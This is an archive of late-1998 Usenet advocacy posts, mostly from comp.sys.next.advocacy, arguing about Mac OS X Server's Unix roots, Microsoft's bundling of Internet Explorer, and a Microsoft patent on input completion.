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References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
<ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net>
<74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net>
<FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
<FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
<FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com>
<FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com>
<FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com>
<FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost>
Mime-Version: 1.0
Date: Thu, 17 Dec 1998 21:49:42 GMT
In <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> taiQ wrote:
> No, but surely you aren't going to deny the potential to make at least
> a few million new Apple customers. ;-) For all I know Apple has pretty
> complete arsenal of worthy tools to offer (YB, QTML) and little to
> lose in trying to create a new Apple market in that space.
Except for money. Personally I think that's not as important an issue as
it was a year ago, but they still can't afford to go nuts.
> Success in one market breeds success in others.
Well that's a pretty wide reaching statement, one that I can name dozens
of counterexamples too.
> credibility and critical mass of momentum, the tide lifts all the
> boats...
_Can_, but certainly not a guarentee.
> And while 'open standards' aren't going to become a star attraction to
> 'consumers' anytime soon there are mindshare advantages in being a
> visible part of it.
Sure.
> I see your point but I'm afraid I don't agree - e.g. any
> cannibalization would be the natural price of creating opportunities
> in other areas.
Whoa, that too seems to like a very difficult thing to demonstrate. The
clone market shows the exact opposite in fact. Once burned...
> If YB is really the API of Apple's future (and with new rumours of
> Carbon becoming tightly wowen into it and all) surely having Linux
> strategy around, if just as a fallback plan, could be considered as an
> extra insurance... even leverage in some cases.
This is true - even if they don't release it.
Maury
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.mac.wanted,comp.sys.net-computer.advocacy,comp.sys.net-computer.misc,comp.sys.newton.marketplace,comp.sys.newton.misc,comp.sys.next.advocacy
Subject: cmsg cancel <17129820.2744@nowhere33.yet>
Control: cancel <17129820.2744@nowhere33.yet>
Date: 17 Dec 1998 20:02:10 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.17129820.2744@nowhere33.yet>
Sender: nobody@nowhere33.yet
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 17 Dec 1998 22:49:11 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75c1p7$h34$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net> <F42G8I.AMz@T-FCN.Net> <759lt1$g7b$1@hecate.umd.edu>
In article <759lt1$g7b$1@hecate.umd.edu>,
davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T.
Wang) wrote:
[ ... ]
>: OS-X appears to be a fairly direct port of the current NetBSD into an
>: emulator package for Mach. Does this answer the question?
Actually, MOXS appears to be more closely derived from OpenBSD, since it
inherited a bug in the field names of a struct timespec (since fixed).
> Actually no. The reason being that it still does not tell me, feature
> by feature whether it will be present in OS X or not. I'm sure you have
> access to a Beta of some sort, so if you like to base a report on that,
> and make a feature by feature comparison, that would answer the
> question. Saying that OS X will be a port of NetBSD personality on
> top of Mach won't do it for me.
Regretable. MOXS is under NDA; people aren't free to do a feature-by-feature
comparision list. If you have specific concerns, please bring them up and
perhaps you can get some answers.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael.Peck@ericsson.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 06:20:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75cs84$6of$1@nnrp1.dejanews.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <19981217204122138438@ts2-04.aug.com>
In article <19981217204122138438@ts2-04.aug.com>,
nojunkhattonr@aug.com (Rick) wrote:
> Everyone hates the guy that steals his way to the top.
"People are going to think you're sleeping your way to the top."
"Okay. Just as long as they don't think I'm sleeping my way to the *middle*."
(_Fierce Creatures_)
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Michael Rousseau <Michael.Rousseau@Sun.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Steve Jobs:Potential Time Man of the year
Date: Thu, 17 Dec 1998 23:12:13 -0700
Organization: Sun Microsystems
Message-ID: <3679F23D.E1E13C16@Sun.COM>
References: <74vqg3$j6o$1@neon.Mlink.NET> <SCOTT.98Dec14093140@slave.doubleu.com> <755rci$79o$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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I find it really funny that the fans of "User Friendly", the
OSS/Linux/Techie net-strip, have spammed the Time site until they shut
it down with entries for the "Dust Puppy". The Dust Puppy is a
recurring character in User Freindly, spawned from the dustballs inside
a neglected server (much like my old Cube develops).
Read about the pran at http://www.userfriendly.org. It makes a great
strip for M$ nose-thumbing, too. Highly recommended.
Mike
speaking for no one, especially not my employer.
spagiola@my-dejanews.com wrote:
>
> scott@nospam.doubleu.com (Scott Hess) wrote:
> > Time Magazine is considering Steve Jobs as the next Man of The Year
> > Every mac/ NeXT advocate should read this article, vote and spread
> > the news: http://www.maccentral.com/news/9812/12.time.shtml
> > Among Steve Jobs' competition this year are Monica Lewinsky,
> > Kenneth Starr, Bill Clinton, Mark McGwire, John Glenn and many
> > more. You can place your vote at:
> > http://cgi.pathfinder.com/time/moy/index.html
> >
> > After reading the list, I'm pretty certain that if God _hadn't_ been
> > planning to tidy things up with an exciting millenial celebration,
> > She's certainly planning to do so now...
>
> A lovely aspect is that "click on pop-up" is actually in fifth place!
>
> Stefano Pagiola
> ---
> My opinions alone
> Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
> Server user
>
> -----------== Posted via Deja News, The Discussion Network ==----------
> http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <3679FC2B.8BBCB160@solarsystems.com>
From: Douglas Lee Hendrix <hendrix@solarsystems.com>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Fri, 18 Dec 1998 06:56:19 GMT
NNTP-Posting-Date: Thu, 17 Dec 1998 22:56:19 PDT
Organization: @Home Network
Boris wrote:
> A collegue at work compared this with Ford shipping cars with radio, so that consumers
> could decide and insert radio of their choice. I agree that it's applicable comparison.
> It's fact of life that software development becomes priviledge of large companies,
> Microsoft the biggest one.
> At the beginning of 20th century there where scores of small automobile manufacturers.
> They all disappered; instead we have monstrous car "empires". Why should software be much
> different?
Software is different because the overhead for developing it is low. If you
want to manufacture automobiles, you need to buy a big plant and hire lots
of union workers. If you want to create a clone of MS Office, you just get
together with your 3 closest friends and buy lots of Pizza and Coke for a
year and don't sleep . . . Well, maybe more than 1 year.
Microsoft is trying to raise the bar so that entry in their established markets
is raised to a point where smaller companies have trouble entering with
innovative products. Just read the Halloween document and you'll get an
idea of how they operate. Microsoft is trying to create an industry where
you have to be a "monstrous" empire to gain entry. I don't think it will
ever work.
As long as smart and industrious programmers have access to computers
with compilers on them, there will always be small inovative startups no
matter what Microsoft does. The question really becomes, if the DOJ
doesn't come down hard, can anybody seriously compete and make money
on a windows product in a market that Microsoft takes seriously.
--
_____
/ \ Douglas Lee Hendrix
| | hendrix@solarsystems.com
^^ (o)(o) Solar Systems
C ,---_)
| |,___| Coming Soon . . .
| \__/ The Ultimate Entertainment for the Connected Consumer
/_____\ http://www.solarsystems.com/products/frontier
/_____/ \
Message-ID: <367A0254.DE226DB0@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com>
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: Fri, 18 Dec 1998 02:17:55 EDT
Date: Thu, 17 Dec 1998 23:20:52 -0800
Willy wrote:
* Linux distributions have browsers on them. MacOS 8.x ships
* with two browsers. And I'd bet that Be and various Unix OSes
* now ship with browsers. So why can MS ship a browser with
* Windows? Why is everyone else allowed to ship Navigator with
* their OS but Microsoft can't ship IE?
Now please explain: what has this issue to do with Computer Systems
Next Advocacy? Really --- we are supposed to be a group advocating
Next computers and software. Where precisely do Micro$oft and
Internet Exploder fit into this picture?
Baffled in Buffelsfontein,
........ Henry
--
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Date: 18 Dec 1998 07:53:53 GMT
Organization: Semplice Software
Message-ID: <hugh-1812980153260001@186.minneapolis-01.mn.dial-access.att.net>
References: <36778d0e.0@news.depaul.edu> <75a77u$4lv$10@blue.hex.net>
In article <75a77u$4lv$10@blue.hex.net>, cbbrowne@hex.net wrote:
>
> Would the Tenex shell represent prior art?
On the Mac side, there was a database program called Panorama which used a
completion feature called "clairvoyance". Anybody else remember that? I'm
sure it was prior to '96.
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
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Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <75btmj$dbp$1@nnrp1.dejanews.com> <3679A53F.5AD5CA77@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <367a0a81.0@nnrp1.news.uk.psi.net>
Date: 18 Dec 98 07:55:45 GMT
"Michael J. Peck" <mjpeck@nstar.net> wrote:
>Charles Swiger wrote:
>> It lets you run X and decide whether to pay for that product? Or maybe
>> someone'll build a freely available port like they did with NEXTSTEP way back
>> when.
>
>Maybe. But it still doesn't give the user the solution he or she needs.
>Suppose you were to claim that Solaris needs better Windows
>compatibility, and I pointed out that a demo of WABI used to ship with
>older versions. What kind of answer is that?
FYI there is already at least one such freely available port for MacOS-X server.
You are right though, it's not an absolute guarantee that there will be one for
MacOS-X (the-mass-market-cut-down-version).
From: Richard Tilley <Betty Siren@pangea.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Date: 18 Dec 1998 02:17:53 -0600
Organization: Pangea.CA, Inc.
Message-ID: <75d33h$q5b@surf.pangea.ca>
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com> <36784003.14BC83CF@cygnus.com>
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NNTP-Posting-Date: 18 Dec 1998 08:19:56 GMT
John Rudd <jrudd@cygnus.com> writes:
>Any Lawyers around here? (John Kheit, you listening?)
>What is the process for challenging a patent based on there being prior
>examples of the work?
>File name completion in csh (at least) existed LONG before the dates of
>this patent. I would expect it to be trivial to challenge this patent.
>Wonder if you can do a class action suit as a patent challenge. :-}
Seems to me that Hayes patented the Morse Code encoding for the
letter "S" a few years ago. They use it to escape into command
mode on a modem.
They got royalties for di-di-dit!
Probably also for da-da-dah if it was a one letter word.
From: spengler@riemann.math.uni-frankfurt.de (Andreas Spengler)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 18 Dec 1998 09:01:51 GMT
Organization: Frankfurt University Computing Center
Message-ID: <75d5lv$h2c$1@grapool30.rz.uni-frankfurt.de>
References: <3679789f.27413999@news2.asan.com>
Hi folks,
sometimes I wonder if people like you are struck with blindness by Microsoft:
Willy (willy1@rocketmail.com) wrote:
: Linux distributions have browsers on them. MacOS 8.x ships with two
: browsers. And I'd bet that Be and various Unix OSes now ship with
: browsers. So why can MS ship a browser with Windows? Why is everyone
: else allowed to ship Navigator with their OS but Microsoft can't ship
: IE?
In every Linux distribution and on MacOs you can safely remove or install
any wanted browser. You can't with MicroShit.
So how`s that for your freedom ???
Think again.
Andreas
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec17085702@slave.doubleu.com>
References: <36778d0e.0@news.depaul.edu> <75a77u$4lv$10@blue.hex.net>
In-reply-to: cbbrowne@news.hex.net's message of 17 Dec 1998 06:10:06 GMT
Date: 17 Dec 98 08:57:02
NNTP-Posting-Date: Fri, 18 Dec 1998 01:59:48 PDT
In article <75a77u$4lv$10@blue.hex.net>,
cbbrowne@news.hex.net (Christopher Browne) writes:
<jhendry@shrike.depaul.edu> wrote:
>Filed June 5 1996
>Issued Dec 1, 1998
>
>US5845300: Method and apparatus for suggesting completions for a
>partially entered data item based on previously-entered,
^^^^^^^^^^^^^^^^^^
>associated data items
Would the Tenex shell represent prior art?
(As well as Bash, zsh, tcsh, and <a
href="http://www.geocities.com/~earnoth/KornBeatMS.htm"> Korn Shell
</a>???)
This is not filename completion or command completion, unless their
usage of "previously-entered" is very broad indeed. It would be more
similar to if *sh remembered all previous command-lines, and suggested
completions based not on what files are available, but on what files
you've worked with recently.
Of course, there are other potential prior art. NeXT, err, Apple's
ProjectBuilder seems to change it's completion suggestions depending
on where you are or what you've been doing recently.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <367c2b27.19536179@news1.bway.net>
References: <3679789f.27413999@news2.asan.com> <75bud6$g2g$1@news.erinet.com> <distler-1712981602050001@cheshire.ph.utexas.edu> <75c49m$o87$1@news.erinet.com>
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NNTP-Posting-Date: Fri, 18 Dec 1998 05:27:16 EDT
Date: Fri, 18 Dec 1998 10:27:11 GMT
"Brian Lewis" <blewis@cablestogo.com> said:
|I was simply stating my opinion. I think that MS could have appeased the DOJ
|(at least in the browser issue) by simply bundling Netscape as well as IE.
But that would ruin their whole dirty plot of dumping IE onto
everyone's desktops and eliminating competition.
Wait 'til the DOJ sees the new version of Netscape that can be
embedded into applications (duplicating these so called critical
features of IE's bundling), that should send Bill to jail immediately
for perjury. I can't believe this has even dragged on so far. It's is
blatantly obvious that IE is not an integral part of an OS, if M$
wants to bundle it, fine, but they MUST allow other browsers to
replace it if the user chooses such an option.
I don't see what M$ is afraid of, they still have control over the OS,
no matter what browser people are using. Perhaps they had alterior
motives for bundling the browser, not just to eliminate Netscape.
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 18 Dec 98 09:38:22 GMT
Organization: P & L Systems
Message-ID: <367a228e.0@stan.astra.co.uk>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F42F6F.A62@T-FCN.Net>
<759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net>
<75bfr1$5mh$1@crib.corepower.com>
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Cc: nurban@crib.corepower.com
In <75bfr1$5mh$1@crib.corepower.com> Nathan Urban wrote:
> In article <F44AnB.Evo@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>
> As far as I know, it worked kind of like Pastry.app, where each clipboard
> is kind of like a pasteboard that you can drag-and-drop. So you could
> drop images, sounds, etc. into a shelf as well. However, I never used
> it or saw it firsthand, so you'll have to ask someone else like Malcolm.
>
You could drag things like colour swatches onto it as well.
I'm afraid I don't remember any other details.
Best wishes,
mmalc.
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <367d2e22.20299519@news1.bway.net>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com>
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NNTP-Posting-Date: Fri, 18 Dec 1998 05:32:12 EDT
Date: Fri, 18 Dec 1998 10:32:08 GMT
jmcn@msg.ti.com (Jason McNorton) said:
|In article Willy, willy1@rocketmail.com says...
|> Linux distributions have browsers on them. MacOS 8.x ships with two
|> browsers. And I'd bet that Be and various Unix OSes now ship with
|> browsers. So why can MS ship a browser with Windows? Why is everyone
|> else allowed to ship Navigator with their OS but Microsoft can't ship
|> IE?
|>
|Because Microsoft has "won" and everyone in the computer industry hates
|the "guy on top".
Some companies might feel this way, but I think users are fed up being
pressured by M$ to use M$ applications along with an M$ OS. I don't
want to use Netshow (which sucks compared to Realvideo) and I don't
want to use IE. M$ clones such applications and then attempts to lock
out the original creators using the OS for leverage. I think that
kind of behaviour deserves some criticism?
Otherwise, I really don't care how successful M$ is, if they are
forever the leading software company, media giant, whatever, or how
much money Bill Gates makes. But I do care when they try to FORCE
people to use applications they do not want to use.
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
From: bassdude@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 11:17:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75ddkk$knj$1@nnrp1.dejanews.com>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <3679FC2B.8BBCB160@solarsystems.com>
In article <3679FC2B.8BBCB160@solarsystems.com>,
Douglas Lee Hendrix <hendrix@solarsystems.com> wrote:
> Boris wrote:
>
> > A collegue at work compared this with Ford shipping cars with radio, so
that consumers
> > could decide and insert radio of their choice. I agree that it's applicable
comparison.
> > It's fact of life that software development becomes priviledge of large
companies,
> > Microsoft the biggest one.
> > At the beginning of 20th century there where scores of small automobile
manufacturers.
> > They all disappered; instead we have monstrous car "empires". Why should
software be much
> > different?
>
One important difference is the ease of replacement.
Replacing a car radio in a ford with a non ford brand radio won't effect the
cars performance.
Have you tried replacing MS browser without affecting the OS performance?
It takes an awful lot of time and patience!
There is no comparison here I think!
Stu.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <17129819.5124@theeOL.com>
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Date: 17 Dec 1998 20:01:49 GMT
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From: Casper.Dik@Holland.Sun.Com (Casper H.S. Dik - Network Security Engineer)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: 18 Dec 1998 11:27:24 GMT
Organization: Sun Microsystems, Netherlands
Message-ID: <casper.913980382@nl-usenet.sun.com>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com>
Mail-Copies-To: never
[[ PLEASE DON'T SEND ME EMAIL COPIES OF POSTINGS ]]
"Boris" <borisspamno@pleasemovil.com> writes:
>A collegue at work compared this with Ford shipping cars with radio,
>so that consumers could decide and insert radio of their choice. I
>agree that it's applicable comparison.
Only if Ford was the only auto producer (or had a 95% market share).
Then I'm sure all car audio manufacturers would complain.
Casper
--
Expressed in this posting are my opinions. They are in no way related
to opinions held by my employer, Sun Microsystems.
Statements on Sun products included here are not gospel and may
be fiction rather than truth.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 18 Dec 98 10:49:56 GMT
Organization: P & L Systems
Message-ID: <367a3354.0@stan.astra.co.uk>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu>
<3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net>
<3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com>
<3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com>
<7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
<756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com>
<slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net>
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Cc: mjpeck@nstar.net
In <36793872.1759FF5@nstar.net> "Michael J. Peck" wrote:
> I find it disappointing to hear so many people asserting that because I
> didn't like NeXTstep I should have no interest in the NeXT/Apple market.
>
Well, I certainly won't say that; what I might say is that because of the
sorts of things you personally objected to in NeXTSTEP you might not have
much truck with McOX. Not least because of the absence of X-windows from
Apple's dsitribution.
> What a load of crap. I hated the NeXTstep UI and I felt that the quality
> of the underlying Unix had been compromised rather seriously by
> "user-friendly features", such as the fact that in NS 3.3 NetInfo could
> not be disabled.
>
Umm, I hesitate to rehash this but.. I thought it had been made clear that
the reason the underlying Unix was "poor" was because it hadn't been touched
in the several years between when it was released and when you tried it. If
you tried using SunOS 1.0 now it would doubtless seem below par. Further
NetInfo *can* be ignored; I successfully used 3.3-based NeXTs for sevreal
years without any reliance on NetInfo, using YP (NIS) instead. This again
though highlights why *you* might find McOX less than satisfactory, since,
although I expect the Unix underpinnings to be excellent, NetInfo will be
there.
Note that I'm making all this personal: given your stated objections and
perspective, I might think it less than likely that you'd like McOX (see
further below), however (a) I wouldn't suggest that you should have *no*
interest in it, and (b) I wouldn't expect others to have the same perspective
about it.
> The worst is when people who don't want to
> discuss *my* wishes for the platform attempt to dismiss me by asking
> "Why do you care in the first place? You didn't like NeXTstep, so go
> away." I don't bear much hope that the ex-NeXT community can do for Mac
> OS X what Linux's userbase did for Linux; they just don't have the raw
> enthusiasm toward recruitment.
>
See above for why I suspect this is a *personal* (in the sense of "we know
your predelictions rather than simply ad hominem ipse) thing rather than a
blanket rejection of *anyone* who wasn't interested in NEXTSTEP.
> I want what I like about NeXTstep: the development libraries and
> frameworks. I want them on Linux.
>
Fine. As some of us have said, I *doubt* (I have no inside information) that
this is a realistic goal in the *short* term, however a laudable longer-term
aim.
> And I want Mac OS X to be a good Unix.
>
And given your definition of a good Unix it's likely you'll be disappointed.
X-windows is unlikely to be in there, and whilst McOX-S will have
remote-windowing features (using the existing NSHosting system) Apple has
suggested that McOX will not. Although they also said that hooks will be
left in place for third parties to be able to provide this functionality.
For myself I think the loss of native remote windowing is "unfortunate",
though I'd expect it to be relatively quickly remedied (and a price worth
paying for the immediate rewards). Having X-windows as a third party option
*I* think is fine.
mmalc.
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 18 Dec 1998 13:01:52 +0100
Organization: The Computer Society at Lund
Message-ID: <75dg7g$5nv$1@bartlet.df.lth.se>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <SCOTT.98Dec16115145@slave.doubleu.com> <75aps6$csu$1@bartlet.df.lth.se> <joe.ragosta-1712980910140001@elk85.dol.net>
NNTP-Posting-User: cb
In article <joe.ragosta-1712980910140001@elk85.dol.net>,
Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <75aps6$csu$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
>(Christian Brunschen) wrote:
>
>> (This message is crossposted to com.{sys,os}.{mac,next,linux}.advocacy)
>>
>> In article <SCOTT.98Dec16115145@slave.doubleu.com>,
>> Scott Hess <scott@nospam.doubleu.com> wrote:
>
>> >_I_ thought this was more than strange - it was bizarre. How will
>> >Apple, of all companies, succeeed with a UNIX binary format where
>> >pretty much every UNIX distributor in existence has failed?
>>
>> By becoming the first distributor of a Unix-based system that manages to
>> sell their product through retail, and into homes as well as offices and
>> server settings, on a large scale?
>
>[snip]
>
>You're right.
>
>It's not that far-fetched that Apple will have sold more unix licenses
>than any hardware vendor ever within a couple of years (counting Mac OS X
>as a Unix). Apple will be in a unique position to work with Unix vendors
>to try to unify the different unices (and one of the rumors sites says
>they've already started down that path).
Of course, Apple won't tell anyone that they're selling Unix - they'll be
selling Mac OS version 10. At least that will be the _marketing_ message.
The underlying technology, however, will likely continue to be
Unix-based/derived for at least the _near_ future (5 to 10 years or so).
But we must not forget, that Unix is not the pinnacle of OS design; new
developments will happen. And, from the way things are looking right now,
Apple is one of the places where some of them are most likely to pop up.
But, _right now_, Apple are likely to become a driving force within Unix
technology, because they will be pushing Unix technology into a market
where it is not currently prevalent. Within a year from today, Mac OS X
(the consumer version) will be shipping - and that will be the first
mass-market consumer-oriented Unix-based general-purpose computer system
from a company which is already a viable player in the target market for
that system.
Apple's suggesting a common binary format for Unices (if this is indeed
happening) strikes me as a good move, because if it goes through, then we
have what I beleive to be a win-win situation for all involved, because:
* Cross-platform development and deployment is made a lot easier across
the conforming Unices
* the GNU compiler / assembler / linker tools can be made to create one
binary that will work across all conforming Unices
* thus, Apple can now just push a button and compile YellowBox (the
frameworks, the tools, the whole shebang) for _all_ conforming Unices
* this will give YellowBox itself a bigger basis for deployment.
* assuming that Apple will be smart and a) ship the runtime for free, and
b) sell the development tools for every platform where the runtime
works: Apple will sell the development tools to developers who are on
compliant Unices, but who might not otherwise buy any Apple products.
This generates money for Apple
* the broadened deployment base will attract more developers to using
YellowBox; thus more developers will want to buy the premier development
system for YellowBox applications - that means even more money for Apple
* Through this, _all_ the conforming Unices will get access to a host of
hight-class applications, which should attract _users_ to the Unix
market as a whole. Thus everyone within this market gets more space to
move (and compete) within- more money for the whole market.
Basically, I think Apple is doing this for reasons of their own bottom
line - but the idea is a good one for all involved, should it come to
pass. And, for the reasons I have sketched at above, I hope it will.
>
>--
>Regards,
>
>Joe Ragosta
Best regards,
// Christian Brunschen
From: guyt@is.twi.tudelft.nl (Abraham Guyt)
Newsgroups: comp.sys.next.advocacy
Subject: MacOS joke: really funny 8-)
Date: 18 Dec 1998 12:15:47 GMT
Organization: Delft University of Technology
Message-ID: <75dh1j$r08$1@news.tudelft.nl>
Hi all,
For everyone having a windows machine with internet explorer; check the
URL below, its the nicest URL i've ever seen:
http://www.bln.de/yaro/macos/
Have fun,
Abraham G.
______________________________________________________________
Abraham Guyt P.O.Box 356
Department of Information Systems 2600 AJ Delft
Faculty Information Technology & Systems The Netherlands
Delft University of Technology tel: +31 15 278 5969
